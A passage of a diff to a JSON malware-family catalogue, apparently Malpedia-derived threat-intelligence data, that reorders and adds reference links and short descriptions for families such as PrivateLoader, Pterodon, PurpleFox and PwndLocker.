note. An example of how this ransomware modifies filenames: it renames \"1.jpg\" to \"1.jpg.enc\", \"2.png\" to \"2.png.enc\", and so forth.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.prestige", - "https://blogs.microsoft.com/on-the-issues/2022/12/03/preparing-russian-cyber-offensive-ukraine/", - "https://www.microsoft.com/security/blog/2022/10/14/new-prestige-ransomware-impacts-organizations-in-ukraine-and-poland/" + "https://www.microsoft.com/security/blog/2022/10/14/new-prestige-ransomware-impacts-organizations-in-ukraine-and-poland/", + "https://blogs.microsoft.com/on-the-issues/2022/12/03/preparing-russian-cyber-offensive-ukraine/" ], "synonyms": [], "type": [] @@ -38702,6 +40506,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.prikormka", + "https://securelist.com/cloudwizard-apt/109722/", "https://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf" ], "synonyms": [], @@ -38730,8 +40535,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.princess_locker", "https://blog.malwarebytes.com/threat-analysis/2016/11/princess-ransomware/", - "https://hshrzd.wordpress.com/2016/11/17/princess-locker-decryptor/", - "https://www.bleepingcomputer.com/news/security/introducing-her-royal-highness-the-princess-locker-ransomware/" + "https://www.bleepingcomputer.com/news/security/introducing-her-royal-highness-the-princess-locker-ransomware/", + "https://hshrzd.wordpress.com/2016/11/17/princess-locker-decryptor/" ], "synonyms": [], "type": [] @@ -38744,20 +40549,21 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.privateloader", + "https://tavares.re/blog/2022/06/06/hunting-privateloader-pay-per-install-service/", + "https://de.darktrace.com/blog/privateloader-network-based-indicators-of-compromise", + "https://blog.sekoia.io/traffers-a-deep-dive-into-the-information-stealer-ecosystem", + "https://www.bitsight.com/blog/unpacking-colibri-loader-russian-apt-linked-campaign", + "https://www.trendmicro.com/en_us/research/22/e/netdooka-framework-distributed-via-privateloader-ppi.html", + "https://medium.com/walmartglobaltech/icedid-leverages-privateloader-7744771bf87f", + "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", + "https://www.youtube.com/watch?v=Ldp7eESQotM", "https://www.bitsight.com/blog/tracking-privateloader-malware-distribution-service", "https://medium.com/walmartglobaltech/privateloader-to-anubis-loader-55d066a2653e", "https://securelist.com/nullmixer-oodles-of-trojans-in-a-single-dropper/107498/", - "https://blog.sekoia.io/traffers-a-deep-dive-into-the-information-stealer-ecosystem", - "https://tavares.re/blog/2022/06/06/hunting-privateloader-pay-per-install-service/", - "https://www.trendmicro.com/en_us/research/22/e/netdooka-framework-distributed-via-privateloader-ppi.html", "https://www.zscaler.com/blogs/security-research/peeking-privateloader", - "https://de.darktrace.com/blog/privateloader-network-based-indicators-of-compromise", - "https://www.youtube.com/watch?v=Ldp7eESQotM", - "https://intel471.com/blog/privateloader-malware", - "https://medium.com/walmartglobaltech/icedid-leverages-privateloader-7744771bf87f", - "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", - "https://www.bitsight.com/blog/unpacking-colibri-loader-russian-apt-linked-campaign", - "https://www.bitsight.com/blog/zero-50k-infections-pseudomanuscrypt-sinkholing-part-1" + "https://www.bitsight.com/blog/zero-50k-infections-pseudomanuscrypt-sinkholing-part-1", + "https://any.run/cybersecurity-blog/privateloader-analyzing-the-encryption-and-decryption-of-a-modern-loader/", + "https://intel471.com/blog/privateloader-malware" ], "synonyms": [], "type": [] @@ -38770,10 +40576,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.privatelog", - "https://www.fireeye.com/blog/threat-research/2021/09/unknown-actor-using-clfs-log-files-for-stealth.html", - "https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques", + "https://www.cybereason.com/blog/operation-cuckoobees-a-winnti-malware-arsenal-deep-dive", "https://twitter.com/ESETresearch/status/1433819369784610828", - "https://www.cybereason.com/blog/operation-cuckoobees-a-winnti-malware-arsenal-deep-dive" + "https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques", + "https://www.fireeye.com/blog/threat-research/2021/09/unknown-actor-using-clfs-log-files-for-stealth.html" ], "synonyms": [], "type": [] @@ -38799,10 +40605,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.prometei", - "https://www.trendmicro.com/en_us/research/21/e/proxylogon-a-coinminer--a-ransomware--and-a-botnet-join-the-part.html", - "https://twitter.com/honeymoon_ioc/status/1494016518694309896", - "https://blog.talosintelligence.com/prometei-botnet-improves/", "https://twitter.com/honeymoon_ioc/status/1494311182550904840", + "https://blog.talosintelligence.com/prometei-botnet-improves/", + "https://twitter.com/honeymoon_ioc/status/1494016518694309896", + "https://www.trendmicro.com/en_us/research/21/e/proxylogon-a-coinminer--a-ransomware--and-a-botnet-join-the-part.html", "https://www.cybereason.com/blog/prometei-botnet-exploiting-microsoft-exchange-vulnerabilities" ], "synonyms": [], @@ -38816,16 +40622,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.prometheus", + "https://www.cybereason.com/blog/cybereason-vs.-prometheus-ransomware", "https://unit42.paloaltonetworks.com/prometheus-ransomware/", "https://medium.com/s2wlab/prometheus-x-spook-prometheus-ransomware-rebranded-spook-ransomware-6f93bd8ab5dd", - "https://therecord.media/decryptor-released-for-prometheus-ransomware-victims/", - "https://www.cybereason.com/blog/cybereason-vs.-prometheus-ransomware", "https://twitter.com/inversecos/status/1441252744258461699?s=20", + "https://therecord.media/decryptor-released-for-prometheus-ransomware-victims/", + "https://www.sentinelone.com/labs/spook-ransomware-prometheus-derivative-names-those-that-pay-shames-those-that-dont/", "https://securityintelligence.com/posts/ransomware-encryption-goes-wrong/", "https://medium.com/cycraft/the-road-to-ransomware-resilience-c1ca37036efd", - "https://www.sentinelone.com/labs/spook-ransomware-prometheus-derivative-names-those-that-pay-shames-those-that-dont/", - "https://id-ransomware.blogspot.com/2021/05/prometheus-ransomware.html", - "https://medium.com/cycraft/prometheus-decryptor-6933e7bac1ea" + "https://medium.com/cycraft/prometheus-decryptor-6933e7bac1ea", + "https://id-ransomware.blogspot.com/2021/05/prometheus-ransomware.html" ], "synonyms": [], "type": [] @@ -38864,8 +40670,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.protonbot", - "https://www.youtube.com/watch?v=FttiysUZmDw", - "https://fumik0.com/2019/05/24/overview-of-proton-bot-another-loader-in-the-wild/" + "https://fumik0.com/2019/05/24/overview-of-proton-bot-another-loader-in-the-wild/", + "https://www.youtube.com/watch?v=FttiysUZmDw" ], "synonyms": [], "type": [] @@ -38889,14 +40695,15 @@ "value": "Prynt Stealer" }, { - "description": "", + "description": "According to PCrisk, PseudoManuscrypt is the name of the malware that spies on victims. It is similar to another malware called Manuscrypt. We have discovered PseudoManuscrypt while checking installers for pirated software (one of the examples is a fake pirated installer for SolarWinds - a network monitoring software).", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pseudo_manuscrypt", - "https://securelist.com/nullmixer-oodles-of-trojans-in-a-single-dropper/107498/", + "https://www.youtube.com/watch?v=uakw2HMGZ-I", "https://ics-cert.kaspersky.com/reports/2021/12/16/pseudomanuscrypt-a-mass-scale-spyware-attack-campaign/", - "https://asec.ahnlab.com/en/31683/", "https://medium.com/@lcam/updates-from-the-maas-new-threats-delivered-through-nullmixer-d45defc260d1", + "https://securelist.com/nullmixer-oodles-of-trojans-in-a-single-dropper/107498/", + "https://asec.ahnlab.com/en/31683/", "https://www.bitsight.com/blog/zero-50k-infections-pseudomanuscrypt-sinkholing-part-1" ], "synonyms": [], @@ -38910,13 +40717,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.psix", - "https://twitter.com/seckle_ch/status/1169558035649433600", - "https://blog.fox-it.com/2019/03/27/psixbot-the-evolution-of-a-modular-net-bot/", - "https://www.proofpoint.com/us/threat-insight/post/psixbot-continues-evolve-updated-dns-infrastructure", "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", - "https://twitter.com/mesa_matt/status/1035211747957923840", + "https://www.proofpoint.com/us/threat-insight/post/psixbot-continues-evolve-updated-dns-infrastructure", + "https://www.proofpoint.com/us/threat-insight/post/psixbot-now-using-google-dns-over-https-and-possible-new-sexploitation-module", + "https://twitter.com/seckle_ch/status/1169558035649433600", "https://blog.comodo.com/comodo-news/versions-of-psixbot/", - "https://www.proofpoint.com/us/threat-insight/post/psixbot-now-using-google-dns-over-https-and-possible-new-sexploitation-module" + "https://twitter.com/mesa_matt/status/1035211747957923840", + "https://blog.fox-it.com/2019/03/27/psixbot-the-evolution-of-a-modular-net-bot/" ], "synonyms": [ "PsiXBot" @@ -38931,9 +40738,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pslogger", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-239a", + "https://twitter.com/KevinPerlow/status/1160766519615381504", "https://norfolkinfosec.com/a-lazarus-keylogger-pslogger/", - "https://twitter.com/KevinPerlow/status/1160766519615381504" + "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-239a" ], "synonyms": [ "ECCENTRICBANDWAGON" @@ -38963,31 +40770,33 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pteranodon", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-intense-campaign-ukraine", "https://blog.yoroi.company/research/cyberwarfare-a-deep-dive-into-the-latest-gamaredon-espionage-campaign/", - "https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations", - "https://www.bleepingcomputer.com/news/security/russian-gamaredon-hackers-use-8-new-malware-payloads-in-attacks/", - "https://ssu.gov.ua/uploads/files/DKIB/Technical%20report%20Armagedon.pdf", - "https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/", - "https://cert.gov.ua/news/42", - "https://blogs.cisco.com/security/network-footprints-of-gamaredon-group", - "https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/", - "https://labs.sentinelone.com/pro-russian-cyberspy-gamaredon-intensifies-ukrainian-security-targeting/", - "https://www.threatstop.com/blog/gamaredon-group-understanding-the-russian-apt", - "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine", - "https://blogs.blackberry.com/en/2022/11/gamaredon-leverages-microsoft-office-docs-to-target-ukraine-government", - "https://threatrecon.nshc.net/2019/06/11/sectorc08-multi-layered-sfx-recent-campaigns-target-ukraine/", - "https://www.elastic.co/blog/playing-defense-against-gamaredon-group", - "https://attack.mitre.org/groups/G0047", - "https://www.vkremez.com/2019/01/lets-learn-deeper-dive-into-gamaredon.html", - "https://threatmon.io/beyond-bullets-and-bombs-an-examination-of-armageddon-groups-cyber-warfare-against-ukraine/", - "https://blog.threatstop.com/russian-apt-gamaredon-group", - "https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021", - "https://cert.gov.ua/news/46", - "https://unit42.paloaltonetworks.com/unit-42-title-gamaredon-group-toolset-evolution", + "https://www.bleepingcomputer.com/news/security/russian-gamaredon-hackers-use-8-new-malware-payloads-in-attacks/", "https://threatmon.io/cybergun-technical-analysis-of-the-armageddons-infostealer/", - "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" + "https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-intense-campaign-ukraine", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-russia-ukraine-military", + "https://www.elastic.co/blog/playing-defense-against-gamaredon-group", + "https://blogs.blackberry.com/en/2022/11/gamaredon-leverages-microsoft-office-docs-to-target-ukraine-government", + "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/", + "https://ssu.gov.ua/uploads/files/DKIB/Technical%20report%20Armagedon.pdf", + "https://labs.sentinelone.com/pro-russian-cyberspy-gamaredon-intensifies-ukrainian-security-targeting/", + "https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021", + "https://www.rnbo.gov.ua/files/2023_YEAR/CYBERCENTER/Gamaredon_activity.pdf", + "https://www.vkremez.com/2019/01/lets-learn-deeper-dive-into-gamaredon.html", + "https://blogs.cisco.com/security/network-footprints-of-gamaredon-group", + "https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations", + "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game", + "https://attack.mitre.org/groups/G0047", + "https://threatmon.io/beyond-bullets-and-bombs-an-examination-of-armageddon-groups-cyber-warfare-against-ukraine/", + "https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/", + "https://blog.threatstop.com/russian-apt-gamaredon-group", + "https://threatrecon.nshc.net/2019/06/11/sectorc08-multi-layered-sfx-recent-campaigns-target-ukraine/", + "https://unit42.paloaltonetworks.com/unit-42-title-gamaredon-group-toolset-evolution", + "https://cert.gov.ua/news/46", + "https://cert.gov.ua/news/42", + "https://www.threatstop.com/blog/gamaredon-group-understanding-the-russian-apt" ], "synonyms": [ "Pterodo" @@ -39034,22 +40843,22 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pupy", - "https://blog.cyber4sight.com/2017/02/malicious-powershell-script-analysis-indicates-shamoon-actors-used-pupy-rat/", - "https://www.infinitumit.com.tr/apt-35/", - "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/", - "https://go.recordedfuture.com/hubfs/reports/cta-2020-0123.pdf", - "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", - "https://github.com/n1nj4sec/pupy", - "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage", - "https://securityaffairs.co/wordpress/56348/intelligence/magic-hound-campaign.html", - "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html", - "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage", - "https://documents.trendmicro.com/assets/white_papers/wp-operation-earth-berberoka.pdf", - "https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations", - "https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/", - "https://go.recordedfuture.com/hubfs/reports/cta-2022-0330.pdf", + "https://documents.trendmicro.com/assets/txt/earth-berberoka-linux-iocs-2.txt", "https://labs.k7computing.com/index.php/pupy-rat-hiding-under-werfaults-cover/", - "https://documents.trendmicro.com/assets/txt/earth-berberoka-linux-iocs-2.txt" + "https://securityaffairs.co/wordpress/56348/intelligence/magic-hound-campaign.html", + "https://www.infinitumit.com.tr/apt-35/", + "https://github.com/n1nj4sec/pupy", + "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage", + "https://blog.cyber4sight.com/2017/02/malicious-powershell-script-analysis-indicates-shamoon-actors-used-pupy-rat/", + "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html", + "https://documents.trendmicro.com/assets/white_papers/wp-operation-earth-berberoka.pdf", + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage", + "https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/", + "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/", + "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", + "https://go.recordedfuture.com/hubfs/reports/cta-2020-0123.pdf", + "https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0330.pdf" ], "synonyms": [ "Patpoopy" @@ -39060,12 +40869,12 @@ "value": "pupy (Windows)" }, { - "description": "According to zscaler, PureCrypter is a fully-featured loader being sold since at least March 2021\r\nThe malware has been observed distributing a variety of remote access trojans and information stealers\r\nThe loader is a .NET executable obfuscated with SmartAssembly and makes use of compression, encryption and obfuscation to evade antivirus software products\r\nPureCrypter features provide persistence, injection and defense mechanisms that are configurable in Google’s Protocol Buffer message format ", + "description": "According to zscaler, PureCrypter is a fully-featured loader being sold since at least March 2021\r\nThe malware has been observed distributing a variety of remote access trojans and information stealers\r\nThe loader is a .NET executable obfuscated with SmartAssembly and makes use of compression, encryption and obfuscation to evade antivirus software products\r\nPureCrypter features provide persistence, injection and defense mechanisms that are configurable in Google\u2019s Protocol Buffer message format ", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.purecrypter", - "https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter", - "https://www.prodaft.com/m/reports/RIG___TLP_CLEAR-1.pdf" + "https://www.prodaft.com/m/reports/RIG___TLP_CLEAR-1.pdf", + "https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter" ], "synonyms": [], "type": [] @@ -39078,9 +40887,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.purelocker", - "https://www.intezer.com/blog-purelocker-ransomware-being-used-in-targeted-attacks-against-servers/", + "https://exchange.xforce.ibmcloud.com/collection/99c7156cff70e1d8e1687ab7dadc8c0e", "https://github.com/albertzsigovits/malware-notes/blob/master/PureLocker.md", - "https://exchange.xforce.ibmcloud.com/collection/99c7156cff70e1d8e1687ab7dadc8c0e" + "https://www.intezer.com/blog-purelocker-ransomware-being-used-in-targeted-attacks-against-servers/" ], "synonyms": [], "type": [] @@ -39093,24 +40902,27 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.purplefox", - "https://blog.malwarebytes.com/trojans/2021/03/perkiler-malware-turns-to-smb-brute-force-to-spread/", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/c/purple-fox-uses-new-arrival-vector-and-improves-malware-arsenal/IOCs-Purple-Fox.txt", + "https://www.thecybersecuritytimes.com/purple-fox-malware-is-actively-distributed-via-telegram-installers/", + "https://www.trendmicro.com/en_us/research/22/c/purple-fox-uses-new-arrival-vector-and-improves-malware-arsenal.html", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/security-101-the-impact-of-cryptocurrency-mining-malware", + "https://www.proofpoint.com/us/blog/threat-insight/chinese-malware-appears-earnest-across-cybercrime-threat-landscape", "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/c/purple-fox-uses-new-arrival-vector-and-improves-malware-arsenal/Technical%20Brief%20-%20A%20Look%20Into%20Purple%20Fox%E2%80%99s%20New%20Arrival%20Vector.pdf", - "https://thehackernews.com/2022/03/purple-fox-hackers-spotted-using-new.html", - "https://twitter.com/C0rk1_H/status/1412801973628272641?s=20", - "https://blog.trendmicro.com/trendlabs-security-intelligence/purple-fox-fileless-malware-with-rookit-component-delivered-by-rig-exploit-kit-now-abuses-powershell/", "https://nao-sec.org/2021/04/exploit-kit-still-sharpens-a-sword.html", + "https://threatresearch.ext.hp.com/purple-fox-exploit-kit-now-exploits-cve-2021-26411/", + "https://www.trendmicro.com/en_us/research/21/j/purplefox-adds-new-backdoor-that-uses-websockets.html", "https://blog.minerva-labs.com/malicious-telegram-installer-drops-purple-fox-rootkit", "https://www.trendmicro.com/en_us/research/21/l/a-look-into-purple-fox-server-infrastructure.html", - "https://www.trendmicro.com/en_in/research/22/c/purple-fox-uses-new-arrival-vector-and-improves-malware-arsenal.html", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/security-101-the-impact-of-cryptocurrency-mining-malware", - "https://www.trendmicro.com/en_us/research/21/g/purplefox-using-wpad-to-targent-indonesian-users.html", - "https://www.trendmicro.com/en_us/research/21/j/purplefox-adds-new-backdoor-that-uses-websockets.html", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/c/purple-fox-uses-new-arrival-vector-and-improves-malware-arsenal/IOCs-Purple-Fox.txt", - "https://www.guardicore.com/labs/purple-fox-rootkit-now-propagates-as-a-worm/", + "https://labs.sentinelone.com/purple-fox-ek-new-cves-steganography-and-virtualization-added-to-attack-flow/", "https://s.tencent.com/research/report/1322.html", - "https://www.thecybersecuritytimes.com/purple-fox-malware-is-actively-distributed-via-telegram-installers/", - "https://threatresearch.ext.hp.com/purple-fox-exploit-kit-now-exploits-cve-2021-26411/", - "https://blogs.blackberry.com/en/2022/01/threat-thursday-purple-fox-rootkit" + "https://blogs.blackberry.com/en/2022/01/threat-thursday-purple-fox-rootkit", + "https://blog.trendmicro.com/trendlabs-security-intelligence/purple-fox-fileless-malware-with-rookit-component-delivered-by-rig-exploit-kit-now-abuses-powershell/", + "https://www.guardicore.com/labs/purple-fox-rootkit-now-propagates-as-a-worm/", + "https://twitter.com/C0rk1_H/status/1412801973628272641?s=20", + "https://www.trendmicro.com/en_in/research/22/c/purple-fox-uses-new-arrival-vector-and-improves-malware-arsenal.html", + "https://blog.malwarebytes.com/trojans/2021/03/perkiler-malware-turns-to-smb-brute-force-to-spread/", + "https://thehackernews.com/2022/03/purple-fox-hackers-spotted-using-new.html", + "https://www.trendmicro.com/en_us/research/21/g/purplefox-using-wpad-to-targent-indonesian-users.html" ], "synonyms": [], "type": [] @@ -39119,7 +40931,7 @@ "value": "PurpleFox" }, { - "description": "ZScaler reported on a new Infostealer called PurpleWave, which is written in C++ and silently installs itself onto a user’s system. It connects to a command and control (C&C) server to send system information and installs new malware onto the infected system.\r\n\r\nThe author of this malware is advertising and selling PurpleWave stealer on Russian cybercrime forums for 5,000 RUB (US$68) with lifetime updates and 4,000 RUB (US$54) with only two updates.", + "description": "ZScaler reported on a new Infostealer called PurpleWave, which is written in C++ and silently installs itself onto a user\u2019s system. It connects to a command and control (C&C) server to send system information and installs new malware onto the infected system.\r\n\r\nThe author of this malware is advertising and selling PurpleWave stealer on Russian cybercrime forums for 5,000 RUB (US$68) with lifetime updates and 4,000 RUB (US$54) with only two updates.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.purplewave", @@ -39136,14 +40948,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pushdo", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", "http://www.secureworks.com/research/threat-profiles/gold-essex", - "https://www.trendmicro.de/cloud-content/us/pdfs/business/white-papers/wp_study-of-pushdo-cutwail-botnet.pdf", - "https://www.secureworks.com/research/pushdo", - "https://www.shadowserver.org/news/has-the-sun-set-on-the-necurs-botnet/", - "http://malware-traffic-analysis.net/2017/04/03/index2.html", + "https://www.secureworks.com/research/threat-profiles/gold-essex", "https://www.blueliv.com/research/tracking-the-footproints-of-pushdo-trojan/", - "https://www.secureworks.com/research/threat-profiles/gold-essex" + "http://malware-traffic-analysis.net/2017/04/03/index2.html", + "https://www.shadowserver.org/news/has-the-sun-set-on-the-necurs-botnet/", + "https://www.trendmicro.de/cloud-content/us/pdfs/business/white-papers/wp_study-of-pushdo-cutwail-botnet.pdf", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://www.secureworks.com/research/pushdo" ], "synonyms": [], "type": [] @@ -39194,32 +41006,32 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pwndlocker", - "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", - "https://www.group-ib.com/blog/prolock_evolution", - "https://www.bleepingcomputer.com/news/security/new-pwndlocker-ransomware-targeting-us-cities-enterprises/", - "https://id-ransomware.blogspot.com/2019/10/pwndlocker-ransomware.html", "https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-009/", - "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", + "https://www.group-ib.com/blog/prolock_evolution", + "https://news.sophos.com/en-us/2020/07/27/prolock-ransomware-gives-you-the-first-8-kilobytes-of-decryption-for-free/", + "https://www.intrinsec.com/egregor-prolock/", + "https://medium.com/s2wlab/operation-synctrek-e5013df8d167", + "https://www.it-klinika.rs/blog/paznja-novi-opasni-ransomware-pwndlocker-i-u-srbiji", + "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://soolidsnake.github.io/2020/05/11/Prolock_ransomware.html", "https://www.group-ib.com/blog/prolock", "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", - "https://soolidsnake.github.io/2020/05/11/Prolock_ransomware.html", - "https://www.intrinsec.com/egregor-prolock/", - "https://www.zdnet.com/article/fbi-prolock-ransomware-gains-access-to-victim-networks-via-qakbot-infections/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-009.pdf", - "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://norfolkinfosec.com/tinypos-and-prolocker-an-odd-relationship/", - "https://news.sophos.com/en-us/2020/07/27/prolock-ransomware-gives-you-the-first-8-kilobytes-of-decryption-for-free/", - "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", - "https://www.it-klinika.rs/blog/paznja-novi-opasni-ransomware-pwndlocker-i-u-srbiji", - "https://medium.com/s2wlab/operation-synctrek-e5013df8d167", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://www.hornetsecurity.com/en/threat-research/qakbot-reducing-its-on-disk-artifacts/", - "https://raw.githubusercontent.com/fboldewin/When-ransomware-hits-an-ATM-giant---The-Diebold-Nixdorf-case-dissected/main/When%20ransomware%20hits%20an%20ATM%20giant%20-%20The%20Diebold%20Nixdorf%20case%20dissected%20-%20Group-IB%20CyberCrimeCon2020.pdf", "https://www.bleepingcomputer.com/news/security/pwndlocker-ransomware-gets-pwned-decryption-now-available/", "https://www.hornetsecurity.com/en/security-information/qakbot-malspam-leading-to-prolock/", - "https://www.cert-pa.it/notizie/pwndlocker-si-rinnova-in-prolock-ransomware/" + "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", + "https://id-ransomware.blogspot.com/2019/10/pwndlocker-ransomware.html", + "https://norfolkinfosec.com/tinypos-and-prolocker-an-odd-relationship/", + "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-009.pdf", + "https://www.bleepingcomputer.com/news/security/new-pwndlocker-ransomware-targeting-us-cities-enterprises/", + "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://raw.githubusercontent.com/fboldewin/When-ransomware-hits-an-ATM-giant---The-Diebold-Nixdorf-case-dissected/main/When%20ransomware%20hits%20an%20ATM%20giant%20-%20The%20Diebold%20Nixdorf%20case%20dissected%20-%20Group-IB%20CyberCrimeCon2020.pdf", + "https://www.cert-pa.it/notizie/pwndlocker-si-rinnova-in-prolock-ransomware/", + "https://www.zdnet.com/article/fbi-prolock-ransomware-gains-access-to-victim-networks-via-qakbot-infections/", + "https://www.hornetsecurity.com/en/threat-research/qakbot-reducing-its-on-disk-artifacts/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf" ], "synonyms": [ "ProLock" @@ -39234,10 +41046,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pwnpos", - "https://twitter.com/physicaldrive0/status/573109512145649664", - "https://usa.visa.com/dam/VCOM/global/support-legal/documents/new-pos-malware-samples.pdf", "https://blog.trendmicro.com/trendlabs-security-intelligence/pwnpos-old-undetected-pos-malware-still-causing-havoc/", - "https://www.brimorlabsblog.com/2015/03/and-you-get-pos-malware-nameand-you-get.html" + "https://www.brimorlabsblog.com/2015/03/and-you-get-pos-malware-nameand-you-get.html", + "https://usa.visa.com/dam/VCOM/global/support-legal/documents/new-pos-malware-samples.pdf", + "https://twitter.com/physicaldrive0/status/573109512145649664" ], "synonyms": [], "type": [] @@ -39245,6 +41057,19 @@ "uuid": "c903627c-90f6-44ee-9750-4bb44bdbceab", "value": "pwnpos" }, + { + "description": "Information stealer, based on strings it seems to target crypto currencies, instant messengers, and browser data.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.pxrecvoweiwoei", + "https://twitter.com/suyog41/status/1688797716447432704" + ], + "synonyms": [], + "type": [] + }, + "uuid": "ac22ee6f-0d15-4edb-8ea5-1675df57597c", + "value": "PXRECVOWEIWOEI" + }, { "description": "Py2exe 